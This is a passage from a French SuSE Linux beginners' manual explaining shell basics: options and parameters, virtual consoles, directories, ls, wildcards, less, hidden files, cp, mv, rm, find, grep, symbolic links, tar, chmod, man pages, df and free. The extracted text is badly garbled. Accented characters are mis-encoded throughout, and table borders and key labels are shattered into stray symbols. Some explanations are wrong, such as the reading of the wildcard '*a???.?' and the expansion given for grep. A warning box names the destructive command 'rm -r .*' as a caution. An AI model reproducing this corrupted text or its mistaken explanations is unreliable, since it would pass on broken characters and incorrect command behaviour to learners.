~ des scripts de langages de scripts tels que Perl, Tcl etc.
~ des alias de commandes shell (comparables α des macros).
*
* 483
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
Le point commun de toutes ces commandes est qu'elles se trouvent dans des
fichiers : Lorsque l'on invoque un programme sous Linux, on donne l'ordre
au shell de rechercher le fichier avec le nom du programme (pour cela on
a besoin du chemin d'accΦs reprΘsentΘ dans la variable PATH). Lorsque le
programme a ΘtΘ retrouvΘ, on doit ensuite l'exΘcuter s'il possΦde les droits
requis (exΘcutable).
Mais que se passe-t-il si l'on doit encore faire savoir au programme (par
exemple α une commande de copie) quels fichiers sont concernΘs ?
Le problΦme est relativement simple α rΘsoudre car il existe ce que l'on ap-
pelle les paramΦtres (angl. parameter). Les paramΦtres sont des arguments
ajoutΘs α une commande pour lui fournir les donnΘes nΘcessaires. Les para-
mΦtres sont insΘrΘs dans la ligne de commande aprΦs le nom de la commande
dont ils doivent Ωtre sΘparΘs par au moins un espace3 .
Il peut souvent aussi Ωtre nΘcessaire de pouvoir influencer le comportement
d'une commande (dans le cas par exemple ou l'on souhaite obtenir l'affichage
long d'un rΘpertoire et non pas une simple liste des noms des fichiers). Ceci se
fait sous Linux au moyen d'options. Les options sont toujours situΘes directe-
ment aprΦs le nom de la commande et avant les paramΦtres. Les commandes
incorrectement pogrammΘes constituent des exceptions mais ne sont pas ex-
clues. Les options sont le plus souvent marquΘes par un signe de soustraction
(par exemple -la ) et peuvent suivre deux schΘmas (voir tableau 19.2).
________________________________________________________________________________________________________*
*________
-a Forme courte, en usage sous Unix
--all Forme longue, dite notation GNU
________________________________________________________________________________________________________*
*________
Tab. 19.2: Options pour les commandes
Il existe de nombreux programmes Linux capables de ``cumuler'' plusieurs
options si celles-ci sont nΘcessaires. Cela signifie que les options ΘnumΘrΘes
les unes aprΦs les autres ne seront pas toutes prΘcΘdΘes du signe de soustrac-
tion. Seule la premiΦre aura ce signe, les autres seront Θcrites directement
derriΦre. Exemple :
-a -f -r -u ou
-afru ou
-frua
L'exemple nous montre aussi que l'ordre des options est en gΘnΘral sans
importance. Mais il existe bien s√r des exceptions qui confirment la rΦgle.
Et pour couronner le tout, les options elles-mΩmes peuvent aussi accepter des
paramΦtres :
-f <monfichier> ou
-f<monfichier>
Dans certains cas (plut⌠t rares), il peut ne pas Ωtre dΘterminant que l'option
soit sΘparΘe ou non de son paramΦtre par un espace. Mais en gΘnΘral on
devrait laisser un espace.
_____________________________________________3
Ceci implicite qu'un espace n'est pas un ΘlΘment du paramΦtre puisqu'il s'agit du ``sΘparateur''
d'arguments. Les espaces ne peuvent apparaεtre dans un paramΦtre que si celui-ci est placΘ entre
guillemets "" ou entre des caractΦres d'apostrophe ''.
484
____________________________________________________________________________________________19.4.__Consoles_virturelles_____*
*______________________
Exemples
Une commande sous Linux a l'aspect suivant4 :
terre: # fdisk
terre: # lsmod
terre: # ls
Voici ce qu'il en est pour les options :
terre: # fdisk -v
terre: # ls -l -a
terre: # ls -la
Pour les paramΦtres :
terre: # fdisk /dev/hda
terre: # ls /tmp
Et pour les options et paramΦtres :
terre: # ls -la /tmp
terre: # rpm -qpl <monpaquetaget>.rpm
terre: # gcc -o <parametreoption> <parametre>
L'espace est un caractΦre d'une grande importance dans une suite de com-
mandes sous Linux car il est essentiel que les ΘlΘments d'une commande
soient tous sΘparΘs les uns des autres par des espaces.
19.4 Consoles virturelles
Linux est un systΦme + multitΓche et multiutilisateur. MΩme si vous possΘ-
dez un systΦme PC mono-utilisateur, vous ne tarderez pas α apprΘcier cette
fonctionnalitΘ :
En mode texte, vous disposez de 6 + consoles virtuelles entre_lesquelles_vous____
pouvez basculer α l'aide des combinaisons de touches de |A____l|t+ |F___|1α |A____l|t+
F6 . |||||||||__La septiΦme console est rΘservΘe α X11.5
Si vous voulez, depuis X11, basculer vers une console _texte_ sans terminer_
l'exΘcution de X11, utilisez les combinaisons de touches de |C______t|rl+ |A____l|t+
F1 α|||||||||__||__Ctrl+ |A_____|lt+ |F___|_6. Avec |A_____|lt+ |F___|_7vous revenez α X11.
19.5 RΘpertoires et noms de fichiers
Toutes les informations ~ qu'il s'agisse de textes, d'images, de bases de
donnΘes ou de tΓches pour la configuration du systΦme ~ sont enregistrΘes
dans des ``fichiers'' placΘs α leur tour dans des ``rΘpertoires'' (voir annexe D
page 531). Avec tous les outils et programmes, il est possible d'accΘder aux
fichiers des diffΘrents rΘpertoires afin de les lire ou de les modifier.
Sous Unix, le caractΦre de sΘparation des rΘpertoires dans les chemins est la
barre oblique de division `/' (angl. slash) (sous DOS, c'est la barre oblique
inversΘe `\'). Un chemin est donc une chaεne de caractΦres dans laquelle
les noms de rΘpertoires sont sΘparΘs par `/'. Un seul slash `/' dΘsigne le
rΘpertoire en tΩte de la hiΘrarchie. Il s'agit du + rΘpertoire racine.
____________________________________________________
4 └ titre de rappel : ``terre: # '' affiche l'invite (angl. prompt). Vous n'avez pas α entrer ces
mots et caractΦres
5 En modifiant le fichier /etc/inittab, vous pouvez disposer d'un nombre supΘrieur ou infΘ-
rieur de consoles.
*
* 485
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
Unix diffΘrencie les majuscules et les minuscule, ce qui signifie que le nom
de fichier Emil ne dΘsigne pas le mΩme fichier que le nom emil. Il n'est en
gΘnΘral pas nΘcessaire de diviser les noms de fichiers en nom et extension α
moins que certains programmes ne le requiΦrent (par exempleALTEX).
________________________________________________________________________________________________________*
*________||
| La touche de tabulation |T_____|abfacilite l'entrΘe des noms de fichiers ou de *
* ||||
| *
* |||
| rΘpertoires.__Il vous suffit de taper les premiΦres lettres du fichier et de *
* |||
| presser |Tab |. L'+ interprΘteur de commandes complΦte le nom du fichier *
* |||
| ____ *
* |||
| (dans la mesure o∙ il est dΘfini sans ambigu∩tΘ par la ou les premiΦres *
* |||
| lettres). En cas d'ambigu∩tΘ, appuyez deux fois sur la touche de tabulation *
* |||
| *
* |||
| afin de voir toutes les possibilitΘs. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.6 Travailler avec les rΘpertoires
AprΦs vous Ωtre connectΘ α votre systΦme (paragraphe 19.1 page 482), vous
vous trouvez dans votre rΘpertoire personnel. Le nom du rΘpertoire courant
peut Ωtre affichΘ par la commande pwd (angl. print working directory)
tux@terre:/home/tux > pwd
/home/tux
Tout comme sous DOS, la commande cd (angl. change directory) sert α chan-
ger de rΘpertoire. L'entrΘe de
tux@terre:/home/tux > cd /usr/bin
tux@terre:/usr/bin >
fait donc passer dans le rΘpertoire /usr/bin,
tux@terre:/home/tux > cd latex
tux@terre:/home/tux/latex >
fait passer dans le sous-rΘpertoire latex α condition que le rΘpertoire
/home/tux/latex soit prΘsent dans le rΘpertoire personnel de `tux'.
Si vous invoquez cd sans argument, votre rΘpertoire personnel sera changΘ.
Le rΘpertoire personnel peut aussi Ωtre indiquΘ par le tilde ` '. L'entrΘe de
tux@terre:/home/tux > cd ~/latex
fait passer dans le rΘpertoire latex qui est dans le + rΘpertoire personnel
de l'utilisateur qui a lancΘ la commande. Tout comme sous DOS, le mΘta-
caractΦre `..' correspond au rΘpertoire pΦre du rΘpertoire courant et le point
`.' au rΘpertoire courant.
Les nouveaux rΘpertoires sont crΘΘs par la commande mkdir (angl. make
directory). Par l'entrΘe de
tux@terre:/home/tux > mkdir texte
il est crΘΘ un sous-rΘpertoire texte dans le rΘpertoire correspondant. Les
rΘpertoires vides peuvent Ωtre effacΘs avec la commande rmdir (angl. remove
directory).
19.7 Travailler avec les fichiers
Avant d'Ωtre (peut-Ωtre) remplacΘs un jour par des objets ou des symboles,
les fichiers sont d'une importance primordiale pour le travail sur ordinateur.
Il existe par consΘquent sous Linux un trΦs grand nombre de commandes se
rapportant aux fichiers.
486
__________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
*______________________
19.7.1 Informations sur les fichiers
La commande ls affiche le contenu du rΘpertoire courant. Vous pouvez voir
une liste de tous les noms de fichiers et noms de rΘpertoires contenus dans
le rΘpertoire courant. Les noms de rΘpertoires sont marquΘs par une barre
oblique `/'. En spΘcifiant un paramΦtre, on peut aussi obtenir l'affichage
d'un autre rΘpertoire :
tux@terre: > ls /usr/bin
Les programmes exΘcutables ne sont pas marquΘs par des extensions comme
.exe ou .com sous DOS. Lorsqu'il est Θtabli une liste avec ls , les noms sont
suivis d'une astΘrisque et/ou mis en Θvidence en rouge . Voir la documenta-
tion relative α ls , par exemple la sortie de
tux@terre: > ls --help
On ne doit jamais spΘcifier explicitement l'astΘrisque, elle est affichΘe der-
riΦre le nom de fichier correspondant du seul fait que le programme possΦde
l'attribut ``executable'' (voir Informations sur les fichiers ( page 492)).
-l est une option trΦs utile de ls . Elle permet l'affichage d'informations com-
plΘmentaires concernant les entrΘes de fichiers ou de rΘpertoires telles que
propriΘtaire, appartenance α un groupe et taille :
tux@terre: > ls -l
Ceci crΘe une sortie telle que celle de l' affichage α l'Θcran 19.7.1.
_______________________________________________________________________________________________________________________||
||||||||drwxr-xr-x 6 tux users 1024 Mar 21 12:39 ./ |
||||||||drwxr-xr-x 4 tux users 1024 Mar 21 17:13 ../ |
|||||||| |
||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:19 bin/ |
||||||||-rwxr-xr-x 1 tux users 4160 Mar 21 12:38 check* |
|||||||| |
||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:23 etc/ |
||||||||drwxr-xr-x 2 tux users 1024 Nov 6 16:19 sbin/ |
|||||||| |
||||||||drwxr-xr-x 12 tux users 1024 Nov 6 18:20 usr/ |
||||||||-rw-r--r-- 1 tux users 185050 Mar 15 12:33 xvi.tgz |
|||||||| |
||||||||-rw-r--r--____1____tux__users____98444____Mar__14____12:30__xvnews.tgz_________________________________________ |
affichage α l'Θcran 19.7.1: Affichage de ls -l
La signification des diffΘrents champs dans l'affichage α l'Θcran 19.7.1 est
expliquΘe dans la tableau 19.3 page suivante.
*
* 487
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Droits Le premier caractΦre de ce champ dΘsigne le type
du fichier. `d' signifie rΘpertoire, `l' lien et `-'
un fichier normal. Les 9 caractΦres suivants dΘsi-
gnent les droits d'accΦs pour le propriΘtaire, le
groupe et tous les autres utilisateurs (respecti-
vement 3 caractΦres). `r' signifie lecture, `w'
Θcriture et `x' exΘcution. Exemple : `-rw-r~
r~' dΘsigne un fichier qui peut Ωtre lu par son
propriΘtaire, les membres du groupe et tous les
autres mais ne peut Ωtre modifiΘ que par son
seul propriΘtaire. Voir la page de man de chmod
(man chmod ).
PropriΘtaire Le propriΘtaire du fichier. Voir la page de man de
chown (man chown ).
Groupe Le groupe auquel appartient le fichier. voir la
page de man de chgrp (man chgrp ).
Taille La taille du fichier en octets.
derniΦre modification La date de la derniΦre modification du fichier.
Pour les fichiers dont la derniΦre modification
remonte α plus d'un an, l'heure est remplacΘe par
l'annΘe.
Nom Le nom du fichier ou du rΘpertoire.
_______________________________________________________________________________________________________*
*_________
Tab. 19.3: Signification des attributs de fichiers Unix
19.7.2 Wildcards ~ un petit coup d'oeil
Les + wildcards que l'on peut utiliser α l'aide des interprΘteurs de commandes
(par exemple bash ) offrent des possibilitΘs bien plus Θtendues que celles dis-
ponibles sous DOS.
Sous Linux, les wildcards ou caractΦres jokers ne se limitent pas α l'astΘ-
risque `*' et au point d'interrogation ` ?'. Vous pouvez avec
tux@terre: > ls *a???.?
voir tous les fichiers du rΘpertoire courant dont le sixiΦme caractΦre, en comp-
tant α partir de la fin, est un `a' et dont le dernier caractΦre dans le nom de
fichier est un point `.'.
└ la place du caractΦre `a', il pourrait y avoir toute une sΘrie de caractΦres
diffΘrents, par exemple les lettres `a', `b', `c', `d', `e', `f'. Dans notre
exemple, la commande serait alors :
tux@terre: > ls *[a-f]???.?
Il est mΩme possible de faire rechercher des caractΦres qui ne se suivent pas
dans l'ordre alphabΘtique :
tux@terre: > ls *[1,3-5,M-P,a,k]???.?
488
__________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
*______________________
19.7.3 Contenu des fichiers
Vous pouvez visualiser le contenu d'un fichier page par page avec les com-
mandes more et less . Avec la commande more classique on ne peut faire
dΘfiler que vers le bas6 .
less Θtant nettement plus confortable, on devrait lui donner la prΘfΘrence.
Avec
tux@terre: > less /etc/login.defs
on charge le fichier /etc/login.defs dans le ``visualiseur'' less . Ce n'est
pas trΦs spectaculaire ~ une ligne de statut en surbrillance est ajoutΘe exacte-__
ment une fois α la premiΦre page du fichier_sur le bord infΘrieur. Avec |_________E|space,
on peut avancer d'une page et avec |b_ |, on peut revenir une page en arriΦre.
Voir l'ΘnumΘration dans le tableau 19.4.
______________________________________________________________________________________________________________________
h Aide
q Quitter
e Une ligne en avant
y Une ligne en arriΦre
f Une page en avant
b Une page en arriΦre
d Une demie page en avant
u Une demie page en arriΦre
g Aller au dΘbut du fichier
G Aller α la fin du fichier
/ DΘmarrer la recherche
n Rechercher la prochaine occurrence
v Charger le fichier dans l'+ Θditeur
F Observer la ``croissance'' d'un fichier de trace (log)
^c Revenir du mode F au mode ``normal''
______________________________________________________________________________________________________________________
Tab. 19.4: Touches du ``visualiseur'' less (sΘlection)
Avec ||__|_/, vous dΘmarrez la recherche_ d'une chaεne de caractΦres_ (par
exemple yes ) que vous entrez avec |_____-|. Avec la touche |_n|, vous obte-
nez l'affichage de la prochaine occurrence de yes .
La touche |__F|prΘsente un certain intΘrΩt. Vous pouvez vous en servir pour_voir_
par exemple de nouvelles entrΘes s'ajouter α un fichier de trace. Avec |C______|trl+
c , v|||||||||__ous quittez ce mode
Avec h||||__, vous obtenez_une liste de toutes les fonctionnalitΘs que less met_α
disposition. Avec |q_ |, vous quittez ``l'aide'' et en appuyant de nouveau sur |q_ |
vous terminez complΦtement le programme et vous vous retrouvez α l'invite
de la ligne de commande.
6 ____________________________________________________
more sous Linux peut davantage ~ voir page de man de more (man more ) ;-)
*
* 489
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
Pour modifier des fichiers textes, utilisez un + Θditeur. L'Θditeur standard d'un
systΦme Unix est vi avec lequel vous devez absolument vous familiariser dΦs
que vous aurez quelques minutes α lui consacrer en toute tranquillitΘ.
19.7.4 Fichiers cachΘs
Les fichiers cachΘs sont une classe spΘciale de fichiers. Les noms de fichiers
commencent par un point et ne sont affichΘs par le shell que si l'on invoque
ls avec l'option -a . Entrez simplement dans votre rΘpertoire utilisateur la
commande ls -a . Maintenant, les fichiers ``cachΘs'' dont le nom est prΘcΘdΘ
d'un point tels que ~/.profile et ~/.xinitrc devraient aussi Ωtre prΘsents
dans la liste. Les fichiers cachΘs sont protΘgΘs contre un effacement involon-
taire par rm * (voir paragraphe 19.7.5) et doivent, lorsque c'est nΘcessaire,
Ωtre effacΘs explicitement par rm <.nom_de_fichier> .
________________________________________________________________________________________________________*
*________||
| L'entrΘe de rm .* efface tous les fichiers cachΘs du rΘpertoire courant. *
* ||||
| *
* |||
| Si vous utilisez en plus l'option -r (angl. recursive) (rm -r .* ), tous les *
* |||
| fichiers du rΘpertoire pΦre seront aussi effacΘs car ils sont reprΘsentΘs par *
* |||
| *
* |||
| `../bla' qui est aussi couvert par `.*'. *
* |||
| Vous devriez par ailleurs toujours faire preuve de la plus grande prudence *
* |||
| *
* |||
| avec l'option -r ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.7.5 Copier, renommer et effacer des fichiers
Sous Linux, la commande qui permet de copier les fichiers est cp :
tux@terre: > cp fichier_source fichier_cible
└ la place de <fichier`cible>, on peut aussi spΘcifier un rΘpertoire prΘsent.
Le fichier source sera alors placΘ, sous le mΩme nom, dans le rΘpertoire de
destination. Pour copier le fichier /etc/XF86Config du rΘpertoire /etc dans
votre propre rΘpertoire utilisateur, vous pouvez taper la commande suivante :
tux@terre: > cp /etc/XF86Config ~
Les fichiers peuvent Ωtre effacΘs avec la commande rm (angl. remove). L'op-
tion -r (angl. recursive) est trΦs pratique. Elle permet d'effacer aussi tous les
sous-rΘpertoires et les fichiers qu'ils contiennent (comparable α la commande
deltree qui existe depuis la version DOS 6.0).
L'entrΘe de
tux@terre: > rm -r bin
efface le rΘpertoire bin dans le rΘpertoire courant ainsi que tous les fichiers
et rΘpertoires qu'il contient. Cette option doit Ωtre utilisΘe avec la plus grande
prudence car il est impossible de rΘcupΘrer les fichiers effacΘs par inadver-
tance !
La commande mv (angl. move) dΘplace les fichiers ou les rΘpertoires. Sa syn-
taxe est identique α celle de cp . Ainsi, l'entrΘe de la commande
tux@terre: > mv xvnews.tgz XVNEWS.tgz
``dΘplacera'' le fichier xvnews.tgz du rΘpertoire courant vers le fichier du
nom de XVNEWS.tgz dans le rΘpertoire courant, ce qui correspond α un simple
changement de nom. Les choses deviennent plus intΘressantes lorsqu'il s'agit
de dΘplacer des rΘpertoires complets :
490
__________________________________________________________________________________19.7.__Travailler_avec_les_fichiers_______*
*______________________
tux@terre: > mv bin ~/latex
dΘplace le rΘpertoire bin (s'il en existe un dans le rΘpertoire courant) vers
~/latex. Tous les rΘpertoires et fichiers qui se trouvaient auparavant sous
bin sont maintenant sous ~/latex/bin. Vous devriez Θgalement vous mon-
trer trΦs prudent avec cette commande car on a vite fait de dΘplacer des rΘper-
toires complets vers des endroits ou il est difficile de les retrouver
Le dΘplacement d'un rΘpertoire complet n'est possible qu'α l'intΘrieur d'un
systΦme de fichiers (donc d'une partition).
19.7.6 Recherche et exploration de fichiers
Encore une autre commande utile : find . Pour rechercher le fichier emil
dans tous les sous-rΘpertoires du rΘpertoire courant, vous devez taper :
tux@terre: > find . -name "emil"
Le premier argument correspond au rΘpertoire α partir duquel la recherche
doit commencer. L'option -name requiert une chaεne de recherche qui puisse
aussi contenir des + wildcards. Pour rechercher tous les fichiers dont le nom
contient la chaεne de recherche, tapez
tux@terre: > find . -name "*emil*"
Comme pour toutes les commandes, nous attirons votre attention sur la page
de man correspondante qui vous fournira une description plus prΘcise.
Il existe encore une mΘthode beaucoup plus rapide de retrouver des fichiers.
Il s'agit de locate . Consultez α ce sujet les pages de man de locate .
Si vous ne voulez pas rechercher un nom de fichier dΘterminΘ mais une chaεne
de caractΦres dans un fichier, vous pouvez utiliser la commande grep (angl.
get regular expression pattern) : La commande suivante recherche dans le
fichier emil la chaεne de caractΦres `dΘtective' :
tux@terre: > grep "dΘtective" emil
Il est possible, de cette maniΦre, de retrouver rapidement dans une grande
quantitΘ de donnΘes des chaεnes de caractΦres dΘterminΘes. Vous pouvez spΘ-
cifier autant de noms de fichiers que vous le souhaitez. Il est mΩme possible
d'utiliser des wildcards et des expressions rΘguliΦres. Chaque ligne contenant
l'occurrence recherchΘe sera affichΘe.
Il existe plusieurs options qui permettent d'influer sur le comportement de
grep . Lisez α ce sujet la page de man de grep (man grep ).
19.7.7 Liens symboliques
Par des liens symboliques, il est possible de donner un nom supplΘmentaire
α un fichier. Ce nom pointe vers ce fichier. Il se peut par exemple que vous
souhaitiez conserver diffΘrentes versions d'un programme tout en Θtant s√r
de toujours retrouver la version la plus rΘcente sous le mΩme nom. La so-
lution consiste α crΘer un lien symbolique pointant sur la version que vous
utilisez. Les liens symboliques se comportent comme les fichiers sur lesquels
ils pointent et sont par consΘquent exΘcutables. L'entrΘe de
tux@terre: > ln -s check.2.4 check
*
* 491
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
crΘe le lien symbolique check pointant sur le fichier check.2.4. Ceci donne
dans le rΘpertoire quelque chose de similaire α :
lrwxrwxrwx 1 tux users 1024 Mar 21 17:13 check -> check.2.4*
Les liens peuvent Ωtre supprimΘs, tout comme les fichiers, avec rm .
________________________________________________________________________________________________________*
*________
| Seul le lien est ici supprimΘ *
* |||
| *
* |||
| et non pas le fichier sur lequel il pointe ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.7.8 Archivage et sauvegarde de donnΘes
Pour crΘer et extraire des archives, on se sert de la commande tar (angl. tape
archive). Une archive peut contenir des fichiers individuels et/ou des arbores-
cences complΦtes de rΘpertoires incluant aussi les fichiers de ces rΘpertoires.
Il est tout α fait possible de compresser de telles archives, ce qui trΦs souvent
en rΘduit notablement la taille. Traditionnellement, les noms d'archives com-
pressΘes se terminent par l'extension .tgz ou .tar.gz et les noms d'archives
non compressΘes par .tar. Les principaux cas d'application de la commande
tar sont :
1. DΘcompression d'archives (par exemple α partir de CD)
tux@terre: > tar xvfz fichierarchive.tgz
tar extrait (x ) l'archive compressΘe (z ) fichierarchive.tgz (f ) et
crΘe automatiquement les sous-rΘpertoires Θventuellement nΘcessaires. Le
nom de chaque fichier dΘcompressΘ est affichΘ α l'Θcran (v ).
2. CrΘation d'archives
tux@terre: > tar cvfz fichierarchive.tgz fichier1 rΘper1
tar crΘe (c ) l'archive compressΘe (z ) fichierarchive.tgz (f ) qui
contient le fichier fichier1 et tous les fichiers du rΘpertoire rΘper1 y
compris ses sous-rΘpertoires. Le nom de chaque fichier compressΘ est af-
fichΘ α l'Θcran (v ).
3. Visualisation du contenu de l'archive
tux@terre: > tar tfz fichierarchive.tgz
tar affiche une table des matiΦre (t ) de l'archive compressΘe (z ) fichie-
rarchive.tgz (f ).
L'option z dΘtermine que le programme GNU Zip (gzip ) doit Ωtre utilisΘ
pour crΘer ou extraire des archives compressΘes.
tux@terre: > tar xvf fichierarchive.tar
extrait donc le fichier fichierarchive.tar non compressΘ. Pour obtenir
des informations plus dΘtaillΘes :
tux@terre: > tar --help
19.8 Droits d'accΦs aux fichiers
Seul l'utilisateur `root' possΦde, en qualitΘ d'administrateur systΦme, un
droit d'accΦs illimitΘ α tous les fichiers, ce qui signifie qu'il est aussi le seul α
pouvoir positionner ou supprimer tous les droits d'accΦs.
492
__________________________________________________________________________________19.8.__Droits_d'accΦs_aux_fichiers________*
*______________________
Le concept des droits
Les droits d'accΦs α un fichier sont rΘpartis en trois catΘgories :
~ Droits du propriΘtaire
~ Droits pour les membres du groupe
~ Droits pour tous les autres
Chacune de ces trois catΘgories est reprΘsentΘe par trois caractΦres dans l'affi-
chage (long) d'un rΘpertoire. Avec le premier caractΦre pour le type de fichier
(d, l, ou -), ceci donne 10 drapeaux (angl. flags) pour chaque fichier. Chaque
drapeau est reprΘsentΘ par un caractΦre. Les drapeaux possibles pour chaque
catΘgorie sont les mΩmes : `r' pour droit de lecture (angl. readable), `w'
pour droit d'Θcriture (angl. writable) et `x' pour droit d'exΘcution (angl. exe-
cutable). Si un drapeau n'est pas positionnΘ, il est remplacΘ par un tiret `-'.
Prenons comme exemple le fichier imaginaire linux.info.
-rw-r-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
Fig. 19.1: ReprΘsentation des permissions sur les fichiers
Pour le fichier linux.info, la signification est la suivante : Le propriΘ-
taire du fichier (tux) a le droit de le modifier et de le lire, les membres
du groupe users ne sont autorisΘs qu'α le lire et α l'exΘcuter alors que les
droits de tous les autres utilisateurs du systΦme sont limitΘs α la seule lecture
de linux.info. Le signe `-' indique qu'il s'agit d'un + fichier ``rΘgulier''
(angl. regular file).
Il en va de mΩme pour les rΘpertoires. Mais dans ce cas, on trouve encore
un `d' (angl. directory) devant les 9 caractΦres qui servent α attribuer les
permissions. Ceci peut ressembler α quelque chose comme :
drwxr-xr-- 3 tux users 1024 Jun 29 13:11 info/
Lorsque le drapeau `x' est positionnΘe pour un rΘpertoire, cela signifie que
l'on peut passer dans ce rΘpertoire par exemple par la commande cd (angl.
change directory).
Les utilisateurs ne faisant pas partie du groupe users ne peuvent donc pas
passer dans le rΘpertoire info.
Modification des droits d'accΦs
Les droits d'accΦs sont modifiΘs par la commande chmod (angl. change
mode). chmod demande deux arguments :
~ les droits d'accΦs qui doivent Ωtre modifiΘs et
~ un nom de fichier.
Les catΘgories des trois groupes possibles sont indiquΘes ici par `u' pour le
propriΘtaire ou l'utilisateur (angl. user), `g' pour le groupe (angl. group) et
`o' pour tous les autres (angl. others), placΘs devant les droits d'accΦs qui
*
* 493
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
doivent Ωtre modifiΘs. Le signe `-' ou `+' est utilisΘ pour la suppression
ou l'ajout de permissions. La commande suivante accorde aux membres du
groupe un droit de lecture, de modification et d'exΘcution du fichier linux.
info :
tux@terre: > chmod g+rwx linux.info
Lorsque les permissions sont positionnΘes pour les trois catΘgories d'uti-
lisateurs, il suffit d'indiquer les droits qui doivent Ωtre modifiΘs. La com-
mande suivante dΘtermine que personne n'a de droit d'Θcriture sur le fichier
linux.info :
tux@terre: > chmod -w linux.info
Les droits de lecture et d'exΘcution ne sont pas affectΘs.
Vous pouvez aussi accorder ou supprimer des permissions dans une ligne
de commande. La commande suivante positionne les permissions du fichier
linux.info sur exΘcutable, non lisible, non modifiable :
tux@terre: > chmod u+x-rw linux.info
Le rΘsultat est celui-ci :
tux@terre: > ls -l linux.info
---xr-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
Dans ce contexte, il existe deux commandes intΘressantes qui sont chown
pour le ``changement de propriΘtaire'' (angl. change owner) et chgrp pour
changer le groupe (angl. change group).
________________________________________________________________________________________________________*
*________||
| La modification des droits n'est cependant possible que si le systΦme de *
* ||||
| *
* |||
| fichiers qui sert de base supporte un systΦme de droits. Avec les systΦmes *
* |||
| msdos ou vfat , il est nΘcessaire de fixer les droits dΦs le ``montage'' (voir *
* |||
| *
* |||
| paragraphe 19.11.2 page 501). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.9 Pages de man
Les pages de man fournissent des informations sur les commandes, les fi-
chiers de configuration et les bibliothΦques C. Les diffΘrentes possibilitΘs
d'appeler la commande sont prΘsentΘes dans le tableau 19.5 page ci-contre.
_______________________________________________________________________________________________________*
*_________
man <mot-clΘ> affiche la page de man pour <mot-
clΘ>.
man -f <mot-clΘ> recherche <mot-clΘ> et liste les
pages de man trouvΘes.
man -k <mot-clΘ> recherche dans toutes les sections des
pages de man le mot-clΘ <mot-clΘ>
et liste les pages de man trouvΘes.
_______________________________________________________________________________________________________*
*_________
Tab. 19.5: Continuer α la page suivante...
494
_____________________________________________________________________________________________________19.9.__Pages_de_man____*
*______________________
______________________________________________________________________________________________________________________
man <section> <mot-clΘ> affiche la page de man pour <mot-
clΘ> de <Section>. Par la com-
mande man 1 man , on obtient la
page de man pour la commande man
de la section 1 .
______________________________________________________________________________________________________________________
Tab. 19.5: Appel de la commande man
Sous le systΦme X Window, vous pouvez aussi utiliser le programme xman .
La commande ordinaire man n'en a pas moins sa raison d'Ωtre : elle est plus
rapide. Pour l'affichage des pages de man, la commande man utilise l'outil
less (voir le paragraphe 19.7.3 page 489. ~ Si vous avez installΘ le systΦme
d'aide de SuSE , vous pouvez visualiser confortablement les pages de man
avec un navigateur Web. Les pages de man sont rΘparties en diffΘrentes sec-
tions (voir tableau 19.6).
______________________________________________________________________________________________________________________
1 DΘcrit les commandes utilisateur. Il faut toutefois noter que de nom-
breuses commandes bash et tcsh sont des commandes internes, ce
qui signifie que les informations sont fournies par les pages de man
du bash ou tcsh utilisΘ.
2 Appels systΦme des diffΘrentes bibliothΦques.
3 Fonctions des bibliothΦques C.
4 Description des fichiers de configuration.
5 Syntaxe de fichiers essentiels.
6 Description de jeux.
7 Tout ce qui concerne le texte, format de texte et autres formats.
8 Commandes de l'administrateur systΦme.
9 Description des routines du noyau Linux.
n n viendrait paraεt-il du mot ``nouveau''. Liste de toutes les pages de
man appartenant α l'une des sections ci-dessus mais placΘes tradi-
tionnellement ici ou n'ayant leur place dans aucune des autres sec-
tions.
______________________________________________________________________________________________________________________
Tab. 19.6: Sections des pages de man
Notez qu'il n'existe pas une page de man pour chaque mot-clΘ ou com-
mande. Vous trouverez Θventuellement plus d'informations sous /usr/doc/
(par exemple sous /usr/doc/howto/en, /usr/doc/howto/en/mini) ou
dans le rΘpertoire /usr/doc/packages (informations sur les paquetages).
*
* 495
19. DΘbuts sous Linux_____________________________________________________________________________________________________________*
*_______________________________________@
19.10 Informations sur l'Θtat du systΦme
Il est souvent essentiel de s'informer de l'Θtat du systΦme. Vous pouvez pour
cela utiliser les commandes df , free , ps , top .
19.10.1 La commande df
df fournit des renseignements sur l'espace disponible et l'espace occupΘ sur
le disque dur. La sortie de la commande est semblable α celle montrΘe dans
l'affichage 19.10.1.
________________________________________________________________________________________________________*
*________||
|Filesystem 1024-blocks Used Available Capacity Mounted on *
* |
| *
* |
|/dev/sda4 699392 659258 5165 99% /home *
* |
| *
* |
|/dev/sda1 102384 23955 73310 25% / *
* |
|/dev/sdb1 2097136 2070485 26651 99% /usr *
* |
| *
* |
|/dev/sda3____________126976____106908_________20068___________84%__/opt________________________________*
*________ |
affichage α l'Θcran 19.10.1: Sortie de la commande df
19.10.2 La commande free
free fournit des informations sur l'occupation de la mΘmoire de travail et sur
la zone de swap (voir affichage 19.10.2).
________________________________________________________________________________________________________*
*________|total| used free shared @
| *
* |
|Mem: 30900 29272 1628 25608 1012 6412 *
* |
|-/+ buffers: 28260 2640 *
* |
| *
* |
|Swap:______________66524_____176__66348________________________________________________________________*
*________ |
affichage α l'Θcran 19.10.2: Sortie de la commande free
Voir aussi l'annexe F page 547.
19.10.3 La commande ulimit
Avec la commande ulimit , il est possible de fixer des limites α l'utilisa-
tion des ressources du systΦme ou d'obtenir l'affichage de celles-ci. ulimit
convient tout particuliΦrement lorsqu'il s'agit de limiter la + mΘmoire dispo-
nible pour les applications. On peut ainsi Θviter qu'une application accapare
pour elle seule une trop grande quantitΘ de mΘmoire, voire la totalitΘ de l'es-
pace, ce qui risque de provoquer un plantage du systΦme.
On peut invoquer ulimit avec diffΘrentes options. Les options du ta-
